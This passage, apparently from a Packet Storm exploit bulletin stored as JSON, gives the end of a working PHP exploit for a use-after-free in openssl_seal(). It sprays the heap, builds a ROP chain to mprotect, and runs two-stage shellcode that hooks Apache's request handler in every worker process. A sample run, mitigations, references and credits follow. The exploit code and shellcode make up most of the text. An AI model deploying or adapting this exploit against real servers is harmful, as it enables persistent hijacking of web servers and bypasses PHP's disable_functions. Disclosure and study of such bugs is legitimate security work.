+ $ap_hook_quick_handler_offset; \necho \"[+] ap_hook_quick_handler @ 0x\".dechex($ap_hook_quick_handler_addr).\"\\n\"; \n \necho \"[+] building ropchain\\n\"; \n$rop_chain = \npack('P', $libphp_base + 0x00000000000ea107) . // pop rdx ; ret \npack('P', 0x0000000000000007) . // rdx = 7 \npack('P', $libphp_base + 0x00000000000e69bd) . // pop rsi ; ret \npack('P', 0x0000000000004000) . // rsi = 0x1000 \npack('P', $libphp_base + 0x00000000000e5fd8) . // pop rdi ; ret \npack('P', $addr ^ ($addr & 0xffff)) . // rdi = page aligned addr \npack('P', $mprotect_addr) . // mprotect addr \npack('P', ($addr ^ ($addr & 0xffff)) | 0x10ff); // return to shellcode_stage1 \nfill_buffer($align + 0x14, $rop_chain); \n \n$shellcode_stage1 = str_repeat(\"\\x90\", 512) . \n\"\\x48\\xb8\" . pack('P', $buffer_base + 0x2018) . // movabs shellcode_stage2, %rax \n\"\\x49\\xb8\" . pack('P', 0x1000) . // handler size \n\"\\x48\\xb9\" . pack('P', $buffer_base + 0x3018) . // handler \n\"\\x48\\xba\" . pack('P', $ap_hook_quick_handler_addr) . // movabs ap_hook_quick_handler, %rdx \n\"\\x48\\xbe\" . pack('P', 0) . // UNUSED \n\"\\x48\\xbf\" . pack('P', $mmap_addr) . // movabs mmap,%rdi \n\"\\xff\\xd0\" . // callq %rax \n\"\\xb8\\x27\\x00\\x00\\x00\" . // mov $0x27,%eax - getpid syscall \n\"\\x0f\\x05\" . // syscall \n\"\\xbe\\x1b\\x00\\x00\\x00\" . // mov $0xd,%esi - SIGPROF \n\"\\x89\\xc7\" . // mov %eax,%edi - pid \n\"\\xb8\\x3e\\x00\\x00\\x00\" . // mov $0x3e,%eax - kill syscall \n\"\\x0f\\x05\"; // syscall \nfill_buffer(0x1000, $shellcode_stage1); \n \n$shellcode_stage2 = str_repeat(\"\\x90\", 512) . \n\"\\x55\" . // push %rbp \n\"\\x48\\x89\\xe5\" . // mov %rsp,%rbp \n\"\\x48\\x83\\xec\\x40\" . // sub $0x40,%rsp \n\"\\x48\\x89\\x7d\\xe8\" . // mov %rdi,-0x18(%rbp) \n\"\\x48\\x89\\x75\\xe0\" . // mov %rsi,-0x20(%rbp) \n\"\\x48\\x89\\x55\\xd8\" . // mov %rdx,-0x28(%rbp) \n\"\\x48\\x89\\x4d\\xd0\" . // mov %rcx,-0x30(%rbp) \n\"\\x4c\\x89\\x45\\xc8\" . // mov %r8,-0x38(%rbp) \n\"\\x48\\x8b\\x45\\xe8\" . // mov -0x18(%rbp),%rax \n\"\\x41\\xb9\\x00\\x00\\x00\\x00\" . // mov $0x0,%r9d \n\"\\x41\\xb8\\xff\\xff\\xff\\xff\" . // mov $0xffffffff,%r8d \n\"\\xb9\\x22\\x00\\x00\\x00\" . // mov $0x22,%ecx \n\"\\xba\\x07\\x00\\x00\\x00\" . // mov $0x7,%edx \n\"\\xbe\\x00\\x20\\x00\\x00\" . // mov $0x2000,%esi \n\"\\xbf\\x00\\x00\\x00\\x00\" . // mov $0x0,%edi \n\"\\xff\\xd0\" . // callq *%rax \n\"\\x48\\x89\\x45\\xf0\" . // mov %rax,-0x10(%rbp) \n\"\\x48\\x8b\\x45\\xf0\" . // mov -0x10(%rbp),%rax \n\"\\x48\\x89\\x45\\xf8\" . // mov %rax,-0x8(%rbp) \n\"\\xeb\\x1d\" . // jmp 0x40063d <shellcode+0x6d> \n\"\\x48\\x8b\\x45\\xf8\" . // mov -0x8(%rbp),%rax \n\"\\x48\\x8d\\x50\\x01\" . // lea 0x1(%rax),%rdx \n\"\\x48\\x89\\x55\\xf8\" . // mov %rdx,-0x8(%rbp) \n\"\\x48\\x8b\\x55\\xd0\" . // mov -0x30(%rbp),%rdx \n\"\\x48\\x8d\\x4a\\x01\" . // lea 0x1(%rdx),%rcx \n\"\\x48\\x89\\x4d\\xd0\" . // mov %rcx,-0x30(%rbp) \n\"\\x0f\\xb6\\x12\" . // movzbl (%rdx),%edx \n\"\\x88\\x10\" . // mov %dl,(%rax) \n\"\\x48\\x8b\\x45\\xc8\" . // mov -0x38(%rbp),%rax \n\"\\x48\\x8d\\x50\\xff\" . // lea -0x1(%rax),%rdx \n\"\\x48\\x89\\x55\\xc8\" . // mov %rdx,-0x38(%rbp) \n\"\\x48\\x85\\xc0\" . // test %rax,%rax \n\"\\x75\\xd2\" . // jne 0x400620 <shellcode+0x50> \n\"\\x48\\x8b\\x7d\\xf0\" . // mov -0x10(%rbp),%rdi \n\"\\x48\\x8b\\x45\\xd8\" . // mov -0x28(%rbp),%rax \n\"\\xb9\\xf6\\xff\\xff\\xff\" . // mov $0xfffffff6,%ecx \n\"\\xba\\x00\\x00\\x00\\x00\" . // mov $0x0,%edx \n\"\\xbe\\x00\\x00\\x00\\x00\" . // mov $0x0,%esi \n\"\\xff\\xd0\" . // callq *%rax \n\"\\xc9\" . // leaveq \n\"\\xc3\"; // retq \nfill_buffer(0x2000, $shellcode_stage2); \n \n$handler = \n\"\\x55\" . // push %rbp \n\"\\x48\\x89\\xe5\" . // mov %rsp,%rbp \n\"\\x48\\x83\\xec\\x30\" . // sub $0x30,%rsp \n\"\\x48\\x89\\x7d\\xd8\" . // mov %rdi,-0x28(%rbp) \n\"\\x48\\xb8\" . pack('P', $ap_rprintf_addr) . // movabs $0xdeadbabefeedcafe,%rax \n\"\\x48\\x89\\x45\\xf8\" . // mov %rax,-0x8(%rbp) \n\"\\x48\\xb8\" . \"Hello Wo\" . // movabs CONTENT,%rax \n\"\\x48\\x89\\x45\\xe0\" . // mov %rax,-0x20(%rbp) \n\"\\x48\\xb8\" . \"rld!\\n\\x00\\x00\\x00\" . // movabs CONTENT,%rax \n\"\\x48\\x89\\x45\\xe8\" . // mov %rax,-0x20(%rbp) \n\"\\x48\\x8d\\x4d\\xe0\" . // lea -0x20(%rbp),%rcx \n\"\\x48\\x8b\\x55\\xd8\" . // mov -0x28(%rbp),%rdx \n\"\\x48\\x8b\\x45\\xf8\" . // mov -0x8(%rbp),%rax \n\"\\x48\\x89\\xce\" . // mov %rcx,%rsi \n\"\\x48\\x89\\xd7\" . // mov %rdx,%rdi \n\"\\xff\\xd0\" . // callq *%rax \n\"\\xb8\\x00\\x00\\x00\\x00\" . // mov $0x0,%eax \n\"\\xc9\" . // leaveq \n\"\\xc3\"; // retq \nfill_buffer(0x3000, $handler); \n \n$addr = pack('P', $addr); \n$memory = str_repeat($addr,321); \n \n$pem = \" \n-----BEGIN PUBLIC KEY----- \nMCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ== \n-----END PUBLIC KEY-----\"; /* Random RSA key */ \n \n$a = array_fill(0,321,0); \n/* place valid keys at the beginning */ \n$k = openssl_pkey_get_public($pem); \n$a[0] = $k; $a[1] = $k; $a[2] = $k; \necho \"[+] spraying heap\\n\"; \n$x = array(); \nfor ($i = 0 ; $i < 20000 ; $i++) { \n$x[$i] = str_repeat($memory, 1); \n} \nfor ($i = 0 ; $i < 20000 ; $i++) { \nunset($x[$i]); \n} \nunset($x); \necho \"[+] triggering openssl_seal()...\\n\"; \n@openssl_seal($_, $_, $_, $a); \necho \"[-] failed ;[\\n\"; \n \nHere's how it works: \n \n~$ curl http://localhost:10080/~rj4/exp.php \n[+] buffer string @ 0x7f3d66c00014 \n[+] faking EVP_PKEY @ 0x7f3d66c00113 \n[+] faking ASN @ 0x7f3d66c00113 \n[+] libphp7 base @ 0x7f3d6c348000 \n[+] faking pkey_free @ 0x7f3d66c001af = 7f3d6c7ef9c3 \n[+] libc base @ 0x7f3d762d0000 \n[+] mprotect @ 0x7f3d763c4a20 \n[+] mmap @ 0x7f3d763c49c0 \n[+] apache2 base @ 0x7f3d77180000 \n[+] ap_rprintf @ 0x7f3d771c29c0 \n[+] ap_hook_quick_handler @ 0x7f3d771d6c00 \n[+] building ropchain \n[+] spraying heap \n[+] triggering openssl_seal()... \n \nexecute it a few times to infect all children \n \n~$ curl http://localhost:10080/~rj4/exp.php \nHello World! \n~$ curl http://localhost:10080/whatever \nHello World! \n...\\o/, we're done. \n \nMitigations: \n \n* Update your PHP! - bug was fixed [8] \n* Unload OpenSSL extension \n* Do not rely only on disable_functions [7], as you can see it can be \nbypassed and there are many other ways to break it. \n* Do not run PHP as a Apache module, or at least do not be surprised if \nmagiacal things happen. Instead, you may use the FastCGI or even suexec \n& stuff, but dealing with it is beyond the scope of this text. \n \nT H E E N D \n \n* lights! curtain! applause! * \n \nReferences \n \nhttp://git.php.net/?p=php-src.git;a=commit;h=424aebbf3643b3fc1b1074ecddf2104cb9465f02 \nhttp://php-security.org/2010/05/07/mops-submission-03-sqlite_single_query-sqlite_array_query-uninitialized-memory-usage/index.html \nhttp://seclists.org/fulldisclosure/2011/May/472 \nhttp://php.net/manual/en/function.openssl-seal.php \nhttp://www.phpinternalsbook.com/zvals/memory_management.html \nhttps://httpd.apache.org/docs/trunk/developer/modguide.html \nhttp://php.net/manual/en/ini.core.php#ini.disable-functions \nhttps://bugs.php.net/bug.php?id=71475 \n \nCredits \n \nshm - Mateusz Kocielski (LogicalTrust) - http://akat1.pl/ - @akat1_pl \ns1m0n - Filip Palian - http://s1m0n.dft-labs.eu/ \nn1x0n - Marek Kroemeke - http://kroemeke.eu/ \n`\n", "edition": 1, "references": [], "modified": "2016-02-02T00:00:00", "hash": "3bda82a35ce27931acca7b79c34af0612c27390bc69af0a2a00c74f74d29bf5a", "cvelist": [], "history": [], "bulletinFamily": "exploit", "href": "https://packetstormsecurity.com/files/135567/A-Tale-of-openssl_seal-PHP-and-Apache2handle.html", "description": "", "id": "PACKETSTORM:135567", "reporter": "Filip Palian", "lastseen": "2016-11-03T10:21:00", "published": "2016-02-02T00:00:00", "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2016-11-03T10:21:00"}, "dependencies": {"references": [], "modified": "2016-11-03T10:21:00"}, "vulnersScore": 0.1}, "objectVersion": "1.2", "type": "packetstorm", "cvss": {"vector": "NONE", "score": 0.0}, "title": "A Tale of openssl_seal(), PHP, and Apache2handle", "viewCount": 6, "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "d4be9c4fc84262b4f39f89565918568f", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "description"}, {"hash": "01ceaac6525c1cc7bcb1a9dffcca5017", "key": "href"}, {"hash": "b884bea995d1ddfc2e8ae6cb4d70416b", "key": "modified"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "b884bea995d1ddfc2e8ae6cb4d70416b", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "6e517a1285754a9c51a8fa3a3d509c6b", "key": "reporter"}, {"hash": "437d5f9ccd2c452bd5ef352124323b39", "key": "sourceData"}, {"hash": "1a81f023dded85d18c3dc65c3ed2fcf0", "key": "sourceHref"}, {"hash": "a62d1f2ad9c21543601b69a9011a19da", "key": "title"}, {"hash": "6466ca3735f647eeaed965d9e71bd35d", "key": "type"}]}